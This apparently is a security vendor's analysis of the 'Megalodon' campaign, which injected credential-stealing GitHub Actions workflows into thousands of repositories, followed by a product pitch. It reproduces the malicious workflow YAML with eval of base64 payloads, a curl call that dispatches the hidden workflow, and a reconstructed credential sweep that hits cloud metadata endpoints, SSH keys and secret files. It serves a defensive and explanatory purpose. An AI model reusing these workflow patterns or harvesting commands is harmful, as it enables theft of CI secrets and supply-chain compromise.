Megalodon: how TeamPCP turned 5,561 GitHub pipelines into a credential harvest factory in six hours

On May 21, 2026, cybersecurity startup SafeDep published a post-mortem of an automated campaign that had played out three days earlier with barely any visible trace. Between 11:36 and 17:48 UTC on May 18, a threat actor designated TeamPCP pushed 5,718 malicious commits to 5,561 distinct GitHub repositories in under six hours, injecting GitHub Actions workflows designed to silently drain cloud credentials, SSH keys, OIDC tokens, and source-code secrets into an attacker-controlled command-and-control server. The campaign, dubbed Megalodon, is not a CVE-tracked software bug in the classical sense; it is an operational technique that weaponizes infostealer-harvested developer credentials, forged CI bot identities, and a well-known but routinely under-defended attack surface: the .github/workflows directory. What makes Megalodon analytically significant is not only its scale but its place in a deliberate two-wave campaign against the AI developer supply chain, the second phase of a six-month offensive by the same actor that had already worm-propagated through hundreds of npm packages, bypassed SLSA Build Level 3 provenance attestations, and publicly open-sourced the attack framework six days before Megalodon ran.

This article is structured in two layers. Part I gives the non-technical reader a clear-enough picture to make decisions today: what happened, who is exposed, and what to do. Part II dissects the attack chain technically, from the infostealer initial-access vector through the two payload variants and their persistence design, to the worm-like propagation dynamic that converted each merge into new fuel. The article closes by examining how the Pragma Core platform systematically addresses exactly the class of visibility and detection problem that made Megalodon possible.

Part I. Executive breakdown

What happened

The GitHub Actions system is the automation backbone of modern software development. When a developer pushes code, opens a pull request, or merges a branch, Actions runs pre-defined workflow scripts inside GitHub-hosted virtual machines. Those scripts are trusted: they routinely receive cloud provider credentials, API keys, and signing tokens to do their job. That trust is the target.

TeamPCP obtained valid GitHub credentials, primarily through infostealer malware infections on developer endpoints. Roughly one in three affected accounts matched entries in known infostealer log databases, according to Hudson Rock. With those tokens in hand, the attackers created throwaway GitHub accounts with randomly generated eight-character usernames and impersonated routine CI bots. They pushed carefully worded commits: "ci: add build optimization step," "chore: optimize pipeline runtime." The commits contained new or modified GitHub Actions workflow files carrying two base64-encoded bash payloads.

Once a repository owner merged the commit, the workflow executed inside their own CI environment. Within seconds, the malware swept dozens of file paths and environment variables, collected every cloud credential it could reach, and shipped the results to a C2 server at 216.126.225.129:8443. In repositories where the stealthier of the two payloads landed, no visible CI run appeared in the Actions tab, no build turned red, and no alert fired. The pipeline was compromised and the attacker could reactivate it on demand through the GitHub API at any time in the future, even after the original committing account was deleted.

Megalodon was the second wave of a broader campaign. Wave 1, running from April 29 through May 12 under the name Mini Shai-Hulud, had already worm-propagated through 172 npm and PyPI packages, reaching the ecosystems of TanStack, Mistral AI, Guardrails AI, and UiPath. That campaign produced a striking technical first: it hijacked TanStack's own build runner mid-workflow to generate cryptographically valid SLSA Build Level 3 provenance attestations for malicious packages, a technique documented under CVE-2026-45321 (CVSS 9.6). The stolen credentials and OIDC tokens from Wave 1 fed directly into the infrastructure used for Wave 2.

Who is affected

The Megalodon wave touched 5,561 repositories in a single day, more than most organizations audit in a year. SafeDep published a full CSV of affected repository names. Any organization with contributors whose GitHub accounts appeared in infostealer logs should treat this as an incident, not a precautionary note.

Why this matters beyond GitHub

The technique Megalodon uses is not a vulnerability in GitHub. It is a trust-model problem that affects every platform offering automation pipelines: GitLab CI/CD, Azure DevOps, CircleCI, Bitbucket Pipelines. The attack primitives are credential theft, identity impersonation, and workflow injection. Those three primitives work identically on any pipeline system that trusts the credentials in its environment variables and executes contributor-controlled workflow definitions.

More broadly, Megalodon is the operational consequence of treating infostealer infections as endpoint problems rather than supply chain events. Once a developer's GitHub token lands in a stealer log, every repository that token can write to becomes a potential pivot point. The token is not just a credential; it is an entry point into every CI pipeline, cloud account, and downstream user that trusts the code that pipeline produces.

Recommended actions

1. Audit GitHub Actions workflow history for every repository your organization maintains. Look for commits from accounts you do not recognize, especially commits touching .github/workflows/ dated May 18, 2026, with messages containing "optimize," "pipeline," or "build."
2. Rotate all secrets accessible from CI/CD environments without exception: AWS access keys, GCP service-account keys, Azure managed-identity tokens, GitHub PATs, Kubernetes kubeconfigs, Docker credentials, Vault tokens, and Terraform state tokens.
3. Check your developers' credentials against infostealer exposure databases. Hudson Rock confirmed that roughly one third of compromised accounts matched known stealer logs. If a match exists, treat the account as fully compromised.
4. Migrate secrets injection to short-lived OIDC-based authentication with cloud providers rather than static long-lived tokens. This is the single highest-return credential hygiene change for CI/CD pipelines.
5. Restrict workflow_dispatch permissions and implement branch protection rules that require at least one reviewer approval for workflow file changes in any branch feeding a production pipeline.
6. Generate a full SBOM for any application whose build pipeline may have executed the malicious workflows, and audit all packages installed by those workflows for the Shai-Hulud payload signatures documented by SafeDep and the Cloud Security Alliance.

Part II. Technical breakdown

The software supply chain as an attack surface layer

The software delivery lifecycle creates a layered chain of trust. Code originates with a developer, flows through a version-control system, is processed by a CI/CD pipeline, and produces artifacts that are published to package registries or deployed directly to production. Each layer grants downstream layers an elevated degree of implicit trust: a package registry trusts the CI/CD system that signed the artifact; an enterprise application trusts the registry; a production cloud environment trusts the artifacts that the application installs.

Megalodon attacked the version-control and CI/CD layer directly, exploiting the fact that this layer accumulates extraordinarily sensitive credentials precisely because it needs them to function. A well-configured CI pipeline for a single application might hold AWS deploy keys, a Docker Hub publish token, a GitHub token with write access to multiple repos, a Kubernetes service account, a Vault AppRole credential, and an npm publish token. From the attacker's perspective, successfully injecting code into one such pipeline is not a breach of one repository; it is a breach of everything that pipeline can reach.

The vulnerability: CI/CD workflow injection via compromised developer tokens

Megalodon's initial-access primitive is not a software flaw in GitHub's infrastructure. It is the logical consequence of how GitHub authentication works combined with endpoint-level credential theft.

GitHub personal access tokens (PATs) and short-lived session tokens issued during browser authentication are stored on developer endpoints in multiple locations: ~/.config/gh/hosts.yml for the GitHub CLI, browser credential stores, environment variables in shell rc files, and .netrc entries. Infostealer malware families (RedLine, Raccoon, and their derivatives) sweep these paths systematically and upload the results to operator-controlled log infrastructure.

Once TeamPCP obtained a working token, the workflow injection itself was straightforward. The GitHub API allows an authenticated actor to create or modify files in any repository the token can write to. The attacker called PUT /repos/{owner}/{repo}/contents/.github/workflows/{filename}.yml with a base64-encoded payload. No pull request was required in repositories where the token had direct push access. In repositories requiring a pull request, the attacker created one, relying on the social-engineering plausibility of the commit message to encourage a merge.

The two payload variants deployed by Megalodon were structured for different risk profiles:

SysDiag variant (designed for broad, automated harvest):

name: SysDiag
on:
  push:
    branches: ["**"]
  pull_request:
    branches: ["**"]

permissions:
  id-token: write
  actions: read

jobs:
  diagnostics:
    runs-on: ubuntu-latest
    steps:
      - name: System diagnostics
        run: |
          # base64-decoded payload excerpt (reconstructed from SafeDep analysis)
          EXFIL=$(echo "ENCODED_PAYLOAD" | base64 -d)
          eval "$EXFIL"

The decoded payload swept over 100 environment variable names and file paths and shipped the result to 216.126.225.129:8443 over TLS.

Optimize-Build variant (designed for stealth persistence):

name: Optimize-Build
on:
  workflow_dispatch:

permissions:
  id-token: write
  actions: read

jobs:
  optimize:
    runs-on: ubuntu-latest
    steps:
      - name: Build optimization
        run: |
          EXFIL=$(echo "ENCODED_PAYLOAD" | base64 -d)
          eval "$EXFIL"

The workflow_dispatch trigger is the critical design choice. Unlike push or pull_request triggers, a workflow_dispatch workflow produces no visible run unless an authorized user or API call explicitly activates it. It does not appear in the Actions tab history during inactivity. It does not generate a failed-build notification. It does not show up in the default view of "recent workflow runs." The attacker can leave it dormant for weeks or months, then activate it via a single authenticated API call:

curl -X POST \
  -H "Authorization: token ATTACKER_TOKEN" \
  -H "Accept: application/vnd.github.v3+json" \
  https://api.github.com/repos/OWNER/REPO/actions/workflows/optimize-build.yml/dispatches \
  -d '{"ref":"main"}'

When activated, the workflow executes inside the target's own CI environment, with the target's own credentials, under a run that appears in the repo's Actions history as a user-initiated build. Attribution is deliberately unclear.

Root cause: credential exfiltration scope

The bash payload reconstructed by SafeDep and documented in the Cloud Security Alliance research note covered the following credential categories in a single sweep:

# Cloud provider credentials
~/.aws/credentials
~/.aws/config
# AWS IMDSv2 live token
curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# GCP metadata endpoint
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"
# Azure IMDS
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?..." \
  -H "Metadata: true"

# Kubernetes, Docker, HashiCorp
~/.kube/config
~/.docker/config.json
~/.vault-token

# Developer secrets
~/.npmrc
~/.netrc
~/.ssh/id_* (all private keys)
~/.bashrc, ~/.bash_history, ~/.zsh_history

# CI environment variables (all of them)
env | grep -iE "(TOKEN|KEY|SECRET|PASSWORD|CREDENTIAL|PWD|API)"

The collection breadth is deliberate. The goal is not to find any one credential but to harvest the full credential set available in a CI environment, which typically spans multiple cloud providers, multiple registries, and multiple downstream services. Each stolen cloud credential enables independent lateral movement; each stolen registry token enables further supply chain compromise.

Exploitation: worm-like propagation via merged pipeline execution

Megalodon's self-amplifying quality comes from the GitHub Actions execution model itself. When a repository owner merges a malicious commit, the workflow triggers. Inside that workflow run, the payload collects the repository's CI/CD secrets, including the GITHUB_TOKEN scoped to that runner. Depending on the token's scope and the organization's fine-grained PAT settings, that token may carry write access to other repositories in the same organization.

The payload tested each stolen token against the GitHub API and, where write access existed, repeated the same commit injection against the newly reachable repositories. This is the cascade dynamic documented in the CSA research note: Wave 1 credential harvests fed Wave 2 targeting, and each Wave 2 merge generated new tokens that could extend the campaign's reach further.

SafeDep's Malysis engine first detected Megalodon not from a direct alert on the malicious commits themselves but from anomalous behavior inside a bundled GitHub Actions workflow for the npm package @tiledesk/tiledesk-server. The Tiledesk project had nine repositories backdoored. Its maintainers, unaware of the compromise, published new npm package versions that carried the Optimize-Build backdoor into downstream consumer environments.

Affected scope

The following scope is documented across public research as of late May 2026:

• Wave 2 (Megalodon): 5,561 GitHub repositories, 5,718 malicious commits, executed within a six-hour window on May 18, 2026.
• Wave 1 (Mini Shai-Hulud): 172 npm packages, 2 PyPI packages, 404 malicious versions. Namespaces include @tanstack, @antv (200+ packages), Mistral AI, UiPath, Guardrails AI, OpenSearch.
• Combined downstream reach: packages with a combined weekly download count exceeding 518 million across the two waves.
• Confirmed additional victims: TanStack, Grafana Labs, OpenAI, Mistral AI, Tiledesk, Black-Iron-Project, WISE-Community, Polymarket (impersonated by malicious npm packages).
• Persistence: payload installed OS-level persistence hooks specifically targeting Claude Code and Visual Studio Code developer environments, designed to survive reboots.
• C2 infrastructure: 216.126.225.129:8443 (confirmed active during the campaign; treat as IOC).

Timeline

A note on the discovery methodology

SafeDep's initial detection came not from signature-based scanning of the malicious commits but from behavioral analysis of a bundled workflow file inside a published npm package. The Malysis engine flagged the workflow as anomalous based on its permission requests and network egress behavior, surfacing the Tiledesk compromise before any human review had caught the malicious commits upstream.

This is methodologically significant. The commits themselves were designed to blend in: short messages that mirrored routine CI maintenance, forged author identities that appeared to be bots, and a workflow_dispatch trigger that produced no visible activity. A reviewer scanning commit history for obvious red flags would likely miss them. Detection required reasoning about what the workflow file would do if executed, not what it claimed to do. That distinction, observable behavior versus stated intent, is exactly the gap that autonomous behavioral analysis is built to close.

What we should learn from the Megalodon campaign

1. Infostealer infections are supply chain events, not endpoint events. When a developer's GitHub token is stolen, every repository that token can write to is exposed, along with every CI pipeline those repositories run and every credential those pipelines hold. An endpoint detection response team closing an infostealer ticket without revoking all associated repository tokens is leaving the incident open.

2. Provenance attestation guarantees build integrity, not code safety. CVE-2026-45321 proved definitively that SLSA Build Level 3 attestations can be produced for malicious packages if the build pipeline itself is compromised. Treating a signed, attested package as safe without also verifying that the pipeline was not tampered with during the build is a category error in trust reasoning.

3. workflow_dispatch triggers are a stealth persistence primitive. The Optimize-Build variant produced no observable activity until activated via the GitHub API. Any organization that audits CI/CD health by looking at run history is blind to this pattern. Security monitoring must cover workflow file changes as first-class events, not just the runs those workflows produce.

4. Cascade dynamics make supply chain attacks non-linear. Each merged malicious commit potentially yielded new tokens with write access to additional repositories. The attacker did not need to compromise 5,561 accounts; they needed to compromise enough to start the cascade. Organizational boundaries are not firebreaks if tokens cross them.

5. Open-sourcing attack tooling is itself a threat multiplier. TeamPCP releasing the Shai-Hulud framework on May 12 converted a specialized capability into commodity infrastructure. The practical threat is now from every actor who can follow installation documentation, not just from TeamPCP. Organizations must treat the campaign as an ongoing category threat, not a resolved incident tied to one actor.

How Pragma Core addresses this class of problem

Megalodon is built for a threat model that classical security tooling was not. It does not exploit a buffer overflow, inject into a SQL query, or abuse a misconfigured endpoint. It exploits the trust that development infrastructure places in credentials and workflow files, and it moves faster than any human review process. Pragma Core is designed for exactly this: continuous, AI-driven visibility over the full software delivery pipeline, from the first dependency pulled at build time to the credentials a workflow file requests at runtime.

Continuous dependency and workflow tracking across all repositories

Pragma Core connects to an organization's GitHub, GitLab, and Azure DevOps repositories and runs continuous scanning with findings contextualized by branch, commit, and file path. For Megalodon-class attacks, this means workflow file changes are treated as first-class security events. Any commit touching .github/workflows/ triggers immediate analysis. Pragma Core would surface the Optimize-Build variant's workflow_dispatch trigger paired with elevated id-token: write and actions: read permissions as a high-confidence anomaly, regardless of whether the workflow had ever run and produced an observable artifact.

SCA and SBOM generation for supply chain exposure inventory

The SCA and SBOM capabilities track every third-party package across all connected repositories, surfacing vulnerable or compromised versions with CVSS data and upgrade paths. For Wave 1, this means the moment a Shai-Hulud-infected package version entered a dependency manifest or a lock file, the team would receive a targeted alert with the affected repo, branch, and the fixed or clean version to migrate to. The "which of our applications installed the compromised @tanstack versions" question, which slowed response for most affected organizations, has an answer ready in the platform before the incident begins.

AI-powered SAST tuned for permission escalation patterns in workflow files

Pragma Core's static analysis is not limited to taint flows into SQL and shell sinks. For CI/CD pipeline security, it can be tuned to flag the specific patterns that make GitHub Actions workflows dangerous: elevated permission blocks combined with run: steps that make outbound network connections, pull_request_target triggers that execute on fork-contributed code with write access, and base64-encoded evaluation patterns in shell steps. These are the signatures of the SysDiag and Optimize-Build variants. A static rule tuned to eval "$(echo ... | base64 -d)" inside a workflow step would have flagged every Megalodon commit before any human reviewed it.

Interactive call graphs and trust-boundary visualization

The Code Map feature generates interactive call graphs for any connected repository and overlays findings to show where untrusted input propagates across trust boundaries. For supply chain attacks, the relevant boundary is between code contributed by external collaborators and code executed with production credentials. A call graph that traces from "incoming pull request" through "workflow trigger" through "credential access" makes the attack surface visible in a way that static file review cannot. The relationship between the forged commit and the credential exfiltration is the vulnerability; no individual file shows it in isolation.

Autonomous AI agents for attack chain investigation

Pragma Core's autonomous agents reason over attack chains rather than stopping at a single flagged line. Applied to the Megalodon pattern, an agent would ask: which of our repositories accept commits from accounts that have no prior contribution history? Which of those repositories have CI/CD pipelines with write access to cloud production environments? Which of those pipelines run on events that can be triggered without a reviewer approval? That chain of questions, asked continuously over every connected repository, is the systematic investigation that transforms a one-time incident response into a standing posture.

Human-guided AppSec investigation for high-value pipeline review

The expert-led research module allows an AppSec operator to drive deeper investigation, supported by autonomous agents and full platform context. For an organization responding to Megalodon, this means a structured workflow for reviewing all repositories where the attacker had write access, triaging which workflows were modified, confirming which have been activated, and tracing every credential that may have been exfiltrated. This is exactly the investigation SafeDep's research team conducted manually across five days. With Pragma Core, the same investigation is available as a platform-guided engagement for any subscriber.

Closing thoughts

Megalodon is not, fundamentally, an attack about GitHub. It is an attack about the assumption that credentials protect infrastructure, when in practice credentials are collected continuously by infostealer malware, aggregated in log markets, and deployed against the services those credentials authorize. GitHub is the surface; the deeper pattern is that the trust model of modern software delivery assumes credential integrity that the endpoint security posture of most development teams cannot reliably provide.

The same pattern exists wherever developers authenticate to build infrastructure using long-lived tokens stored on disk. GitLab CI runners, Azure DevOps service connections, CircleCI contexts, Bitbucket Pipelines variables. The six-hour window of May 18, 2026, will be repeated against different platforms by different actors using the same infostealer-to-workflow-injection chain, including by actors who simply cloned the open-sourced Shai-Hulud framework.

The difference between organizations that treat this article as a curiosity and those that use it as an audit trigger comes down to how much continuous visibility they have over what their build pipelines actually do and what credentials they actually hold. Organizations that want to move from "we scan and report" to "we systematically investigate what is fragile in our supply chain" can reach Pragma Core at pragma-core.com for a demo.

Sources

• Cloud Security Alliance AI Safety Initiative, Shai-Hulud/Megalodon: A Two-Wave AI Developer Supply Chain Attack, May 22, 2026. https://labs.cloudsecurityalliance.org/research/csa-research-note-shai-hulud-megalodon-supply-chain-cascade/
• SafeDep, Megalodon GitHub Attack, May 21, 2026. https://safedep.io/blog/megalodon-github-attack
• The Hacker News, Megalodon GitHub Attack Targets 5,561 Repos with Malicious CI/CD Workflows, May 2026. https://thehackernews.com/2026/05/megalodon-github-attack-targets-5561.html
• Dark Reading, Megalodon Malware Infects Thousands of GitHub Repos, May 2026. https://www.darkreading.com/application-security/megalodon-malware-infects-thousands-github-repos
• CPO Magazine, Megalodon Supply Chain Attack Infects Over 5,500 GitHub Repositories, May 2026. https://www.cpomagazine.com/cyber-security/megalodon-supply-chain-attack-infects-over-5500-github-repositories-with-backdoors-and-stealers/
• SecurityWeek, Over 5,500 GitHub Repositories Infected in Megalodon Supply Chain Attack, May 2026. https://www.securityweek.com/over-5500-github-repositories-infected-in-megalodon-supply-chain-attack/
• Hudson Rock, Megalodon Supply Chain Attack, May 2026. https://hudsonrock.com/blog/megalodon-supply-chain-attack
• Rescana, Megalodon Supply Chain Attack: TeamPCP Compromises 5,561 GitHub Repositories, May 2026. https://www.rescana.com/post/megalodon-supply-chain-attack-teampcp-compromises-5-561-github-repositories-via-malicious-ci-cd-workflows
• GitLab Vulnerability Research, GitLab discovers widespread npm supply chain attack, November 24, 2025. https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/